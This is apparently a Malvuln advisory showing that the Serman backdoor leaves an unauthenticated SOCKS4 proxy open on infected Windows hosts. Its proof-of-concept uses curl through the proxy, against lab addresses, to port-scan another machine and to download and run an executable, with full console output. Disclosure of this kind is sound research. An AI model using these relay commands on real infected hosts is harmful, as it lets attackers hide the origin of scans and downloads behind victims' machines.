Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/f312e3a436995b86b205a1a37b1bf10f.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Backup media: infosec.exchange/@malvuln Threat: Backdoor.Win32.Serman.a Vulnerability: Unauthenticated Open Proxy Family: Serman Type: PE32 MD5: f312e3a436995b86b205a1a37b1bf10f Vuln ID: MVID-2022-0659 Disclosure: 11/22/2022 Description: The malware listens on TCP port 21422 by default but it can be changed. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host. E.g. using port 5555 SOCKS4 version 4A server (beta) autor: Stanimir Jordanov * e-mail: stjordanov@hotmail.com Usage: socks4 <LocalPort> [LogFile] C:\dump>wwm.exe 5555 out.txt SOCKS 4 service started: redirecting localhost:5555 Press Ctrl+C to end ... Connecting to: 192.168.18.128:80 ID:2C34 Connected to: 192.168.18.128:80 ID:2C34 Connection closed ID:2C34 Connecting to: 192.168.18.128:80 ID:25BC Connected to: 192.168.18.128:80 ID:25BC Connection closed ID:25BC Connecting to: 192.168.18.128:80 ID:A4 Connected to: 192.168.18.128:80 ID:A4 Connection closed ID:A4 Exploit/PoC: Port scan: Connecting to: 192.168.18.128:666 ID:2B04 Cannot connect to: 192.168.18.128:666 ID:2B04 Connecting to: 192.168.18.128:21 ID:2DE4 Connected to: 192.168.18.128:21 ID:2DE4 Connection closed ID:2DE4 (Port scan): (Port closed): C:\Users\gg\Desktop>curl -x socks4://192.168.18.125:5555 http://192.168.18.128:666 -v * Trying 192.168.18.125:5555... * SOCKS4 communication to 192.168.18.128:666 * SOCKS4 connect to IPv4 192.168.18.128 (locally resolved) * Can't complete SOCKS4 connection to 0.0.0.0:0. (91), request rejected or failed. * Closing connection 0 curl: (97) Can't complete SOCKS4 connection to 0.0.0.0:0. (91), request rejected or failed. (Port open): C:\Users\gg\Desktop>curl -x socks4://192.168.18.125:5555 http://192.168.18.128:21 -v * Trying 192.168.18.125:5555... * SOCKS4 communication to 192.168.18.128:21 * SOCKS4 connect to IPv4 192.168.18.128 (locally resolved) * SOCKS4 request granted. * Connected to 192.168.18.125 (192.168.18.125) port 5555 (#0) > GET / HTTP/1.1 > Host: 192.168.18.128:21 > User-Agent: curl/7.83.1 > Accept: */* > * Received HTTP/0.9 when not allowed * Closing connection 0 curl: (1) Received HTTP/0.9 when not allowed (Download files): C:\Users\gg\Desktop>curl -x socks4://192.168.18.125:5555 http://192.168.18.128/DOOM.exe -v --output 2.txt * Trying 192.168.18.125:5555... % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* SOCKS4 communication to 192.168.18.128:80 * SOCKS4 connect to IPv4 192.168.18.128 (locally resolved) * SOCKS4 request granted. * Connected to 192.168.18.125 (192.168.18.125) port 5555 (#0) GET /DOOM.exe HTTP/1.1 Host: 192.168.18.128 User-Agent: curl/7.83.1 Accept: */* * Mark bundle as not supporting multiuse * HTTP 1.0, assume close after body HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/2.7.6 Date: Tue, 22 Nov 2022 02:15:31 GMT Content-type: application/x-msdos-program Content-Length: 103533 Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT { [6794 bytes data] 100 101k 100 101k 0 0 474k 0 --:--:-- --:--:-- --:--:-- 488k * Closing connection 0 C:\Users\gg\Desktop>2.txt DOOMED!!! Press any key to continue . . . Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).